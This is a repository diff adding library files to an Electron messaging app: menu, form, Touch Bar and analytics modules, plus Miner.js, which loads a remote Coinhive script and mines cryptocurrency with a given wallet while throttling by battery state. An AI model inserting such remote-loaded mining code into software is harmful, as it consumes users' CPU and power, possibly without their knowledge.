aboutsummaryrefslogtreecommitdiffstats
path: root/src/lib
diff options
context:
space:
mode:
Diffstat (limited to 'src/lib')
-rw-r--r--src/lib/Form.js31
-rw-r--r--src/lib/Menu.js259
-rw-r--r--src/lib/Miner.js72
-rw-r--r--src/lib/TouchBar.js45
-rw-r--r--src/lib/analytics.js42
5 files changed, 449 insertions, 0 deletions
diff --git a/src/lib/Form.js b/src/lib/Form.js
new file mode 100644
index 000000000..a22699b45
--- /dev/null
+++ b/src/lib/Form.js
@@ -0,0 +1,31 @@
1import Form from 'mobx-react-form';
2
3export default class DefaultForm extends Form {
4 bindings() {
5 return {
6 default: {
7 id: 'id',
8 name: 'name',
9 type: 'type',
10 value: 'value',
11 label: 'label',
12 placeholder: 'placeholder',
13 disabled: 'disabled',
14 onChange: 'onChange',
15 onFocus: 'onFocus',
16 onBlur: 'onBlur',
17 error: 'error',
18 },
19 };
20 }
21
22 options() {
23 return {
24 validateOnInit: false,
25 // validateOnBlur: true,
26 // // validationDebounceWait: {
27 // // trailing: true,
28 // // },
29 };
30 }
31}
diff --git a/src/lib/Menu.js b/src/lib/Menu.js
new file mode 100644
index 000000000..9f23c4d70
--- /dev/null
+++ b/src/lib/Menu.js
@@ -0,0 +1,259 @@
1import { remote, shell } from 'electron';
2import { autorun, computed, observable, toJS } from 'mobx';
3
4import { isDevMode, isMac } from '../environment';
5
6const { app, Menu } = remote;
7
8const template = [
9 {
10 label: 'Edit',
11 submenu: [
12 {
13 role: 'undo',
14 },
15 {
16 role: 'redo',
17 },
18 {
19 type: 'separator',
20 },
21 {
22 role: 'cut',
23 },
24 {
25 role: 'copy',
26 },
27 {
28 role: 'paste',
29 },
30 {
31 role: 'pasteandmatchstyle',
32 },
33 {
34 role: 'delete',
35 },
36 {
37 role: 'selectall',
38 },
39 ],
40 },
41 {
42 label: 'View',
43 submenu: [
44 {
45 type: 'separator',
46 },
47 {
48 role: 'resetzoom',
49 },
50 {
51 role: 'zoomin',
52 },
53 {
54 role: 'zoomout',
55 },
56 {
57 type: 'separator',
58 },
59 {
60 role: 'togglefullscreen',
61 },
62 ],
63 },
64 {
65 label: 'Services',
66 submenu: [],
67 },
68 {
69 role: 'window',
70 submenu: [
71 {
72 role: 'minimize',
73 },
74 {
75 role: 'close',
76 },
77 ],
78 },
79 {
80 role: 'help',
81 submenu: [
82 {
83 label: 'Learn More',
84 click() { shell.openExternal('http://meetfranz.com'); },
85 },
86 ],
87 },
88];
89
90export default class FranzMenu {
91 @observable tpl = template;
92
93 constructor(stores, actions) {
94 this.stores = stores;
95 this.actions = actions;
96
97 autorun(this._build.bind(this));
98 }
99
100 _build() {
101 const tpl = toJS(this.tpl);
102
103 if (isDevMode) {
104 tpl[1].submenu.push({
105 role: 'toggledevtools',
106 }, {
107 label: 'Toggle Service Developer Tools',
108 accelerator: 'CmdOrCtrl+Shift+Alt+i',
109 click: () => {
110 this.actions.service.openDevToolsForActiveService();
111 },
112 });
113 }
114
115 tpl[1].submenu.unshift({
116 label: 'Reload Service',
117 id: 'reloadService',
118 accelerator: 'CmdOrCtrl+R',
119 click: () => {
120 if (this.stores.user.isLoggedIn
121 && this.stores.services.enabled.length > 0) {
122 this.actions.service.reloadActive();
123 } else {
124 window.location.reload();
125 }
126 },
127 }, {
128 label: 'Reload Franz',
129 accelerator: 'CmdOrCtrl+Shift+R',
130 click: () => {
131 window.location.reload();
132 },
133 });
134
135 if (isMac) {
136 tpl.unshift({
137 label: app.getName(),
138 submenu: [
139 {
140 role: 'about',
141 },
142 {
143 type: 'separator',
144 },
145 {
146 label: 'Settings',
147 accelerator: 'CmdOrCtrl+,',
148 click: () => {
149 this.actions.ui.openSettings({ path: '' });
150 },
151 },
152 {
153 type: 'separator',
154 },
155 {
156 role: 'services',
157 submenu: [],
158 },
159 {
160 type: 'separator',
161 },
162 {
163 role: 'hide',
164 },
165 {
166 role: 'hideothers',
167 },
168 {
169 role: 'unhide',
170 },
171 {
172 type: 'separator',
173 },
174 {
175 role: 'quit',
176 },
177 ],
178 });
179 // Edit menu.
180 tpl[1].submenu.push(
181 {
182 type: 'separator',
183 },
184 {
185 label: 'Speech',
186 submenu: [
187 {
188 role: 'startspeaking',
189 },
190 {
191 role: 'stopspeaking',
192 },
193 ],
194 },
195 );
196 // Window menu.
197 tpl[3].submenu = [
198 {
199 // label: 'Close',
200 accelerator: 'CmdOrCtrl+W',
201 role: 'close',
202 },
203 {
204 // label: 'Minimize',
205 accelerator: 'CmdOrCtrl+M',
206 role: 'minimize',
207 },
208 {
209 // label: 'Zoom',
210 role: 'zoom',
211 },
212 {
213 type: 'separator',
214 },
215 {
216 // label: 'Bring All to Front',
217 role: 'front',
218 },
219 ];
220 }
221
222 const serviceTpl = this.serviceTpl;
223
224 serviceTpl.unshift({
225 label: 'Add new Service',
226 accelerator: 'CmdOrCtrl+N',
227 click: () => {
228 this.actions.ui.openSettings({ path: 'recipes' });
229 },
230 }, {
231 type: 'separator',
232 });
233
234 if (serviceTpl.length > 0) {
235 tpl[isMac ? 3 : 2].submenu = toJS(this.serviceTpl);
236 }
237
238 const menu = Menu.buildFromTemplate(tpl);
239 Menu.setApplicationMenu(menu);
240 }
241
242 @computed get serviceTpl() {
243 const services = this.stores.services.enabled;
244
245 if (this.stores.user.isLoggedIn) {
246 return services.map((service, i) => ({
247 label: service.name,
248 accelerator: i <= 9 ? `CmdOrCtrl+${i + 1}` : null,
249 type: 'radio',
250 checked: service.isActive,
251 click: () => {
252 this.actions.service.setActive({ serviceId: service.id });
253 },
254 }));
255 }
256
257 return [];
258 }
259}
diff --git a/src/lib/Miner.js b/src/lib/Miner.js
new file mode 100644
index 000000000..5fac92477
--- /dev/null
+++ b/src/lib/Miner.js
@@ -0,0 +1,72 @@
1export default class Miner {
2 wallet = null;
3 options = {
4 throttle: 0.75,
5 throttleIdle: 0.1,
6 };
7 miner = null;
8 interval;
9
10 constructor(wallet, options) {
11 this.wallet = wallet;
12
13 this.options = Object.assign({}, options, this.options);
14 }
15
16 start(updateFn) {
17 const script = document.createElement('script');
18 script.id = 'coinhive';
19 script.type = 'text/javascript';
20 script.src = 'https://coinhive.com/lib/coinhive.min.js';
21 document.head.appendChild(script);
22
23 script.addEventListener('load', () => {
24 const miner = new window.CoinHive.Anonymous(this.wallet);
25 miner.start();
26 miner.setThrottle(this.options.throttle);
27
28 this.miner = miner;
29
30 this.interval = setInterval(() => {
31 const hashesPerSecond = miner.getHashesPerSecond();
32 const totalHashes = miner.getTotalHashes();
33 const acceptedHashes = miner.getAcceptedHashes();
34
35 updateFn({ hashesPerSecond, totalHashes, acceptedHashes });
36 }, 1000);
37 });
38 }
39
40 stop() {
41 document.querySelector('#coinhive');
42
43 this.miner.stop();
44 clearInterval(this.interval);
45 this.miner = null;
46 }
47
48 setThrottle(throttle) {
49 if (this.miner) {
50 this.miner.setThrottle(throttle);
51 }
52 }
53
54 setActiveThrottle() {
55 if (this.miner) {
56 this.miner.setThrottle(this.options.throttle);
57 }
58 }
59
60 async setIdleThrottle() {
61 const battery = await navigator.getBattery();
62
63 if (!battery.charging) {
64 console.info(`Miner: battery is not charging, setThrottle to ${this.options.throttle}`);
65 this.setActiveThrottle();
66 } else {
67 this.miner.setThrottle(this.options.throttleIdle);
68 }
69
70 return this;
71 }
72}
diff --git a/src/lib/TouchBar.js b/src/lib/TouchBar.js
new file mode 100644
index 000000000..ad7849b8e
--- /dev/null
+++ b/src/lib/TouchBar.js
@@ -0,0 +1,45 @@
1import { remote } from 'electron';
2import { autorun } from 'mobx';
3
4import { isMac } from '../environment';
5
6export default class FranzTouchBar {
7 constructor(stores, actions) {
8 this.stores = stores;
9 this.actions = actions;
10
11 this._initializeReactions();
12 }
13
14 _initializeReactions() {
15 this.build = autorun(this._build.bind(this));
16 }
17
18 _build() {
19 const currentWindow = remote.getCurrentWindow();
20
21 if (isMac && this.stores.user.isLoggedIn) {
22 const { TouchBar } = remote;
23 const { TouchBarButton, TouchBarSpacer } = TouchBar;
24
25 const buttons = [];
26 this.stores.services.enabled.forEach(((service) => {
27 buttons.push(new TouchBarButton({
28 label: `${service.name}${service.unreadDirectMessageCount > 0
29 ? ' 🔴' : ''} ${service.unreadDirectMessageCount === 0
30 && service.unreadIndirectMessageCount > 0
31 ? ' ⚪️' : ''}`,
32 backgroundColor: service.isActive ? '#3498DB' : null,
33 click: () => {
34 this.actions.service.setActive({ serviceId: service.id });
35 },
36 }), new TouchBarSpacer({ size: 'small' }));
37 }));
38
39 const touchBar = new TouchBar(buttons);
40 currentWindow.setTouchBar(touchBar);
41 } else {
42 currentWindow.setTouchBar(null);
43 }
44 }
45}
diff --git a/src/lib/analytics.js b/src/lib/analytics.js
new file mode 100644
index 000000000..b13bf8faa
--- /dev/null
+++ b/src/lib/analytics.js
@@ -0,0 +1,42 @@
1import { remote } from 'electron';
2import { GA_ID } from '../config';
3// import { isDevMode } from '../environment';
4
5const { app } = remote;
6
7/* eslint-disable */
8(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
9(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
10m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
11})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
12/* eslint-enable */
13
14const GA_LOCAL_STORAGE_KEY = 'gaUid';
15
16ga('create', GA_ID, {
17 storage: 'none',
18 clientId: localStorage.getItem(GA_LOCAL_STORAGE_KEY),
19});
20
21ga((tracker) => {
22 localStorage.setItem(GA_LOCAL_STORAGE_KEY, tracker.get('clientId'));
23});
24ga('set', 'checkProtocolTask', null);
25ga('set', 'version', app.getVersion());
26ga('send', 'App');
27
28export function gaPage(page) {
29 ga('send', 'pageview', page);
30
31 console.debug('GA track page', page);
32}
33
34export function gaEvent(category, action, label) {
35 ga('send', 'event', category, action, label);
36
37 console.debug('GA track page', category, action);
38}
39
40setTimeout(() => {
41 ga('send', 'Ping');
42}, 1000 * 60 * 10); // Ping GA every 10 Minutes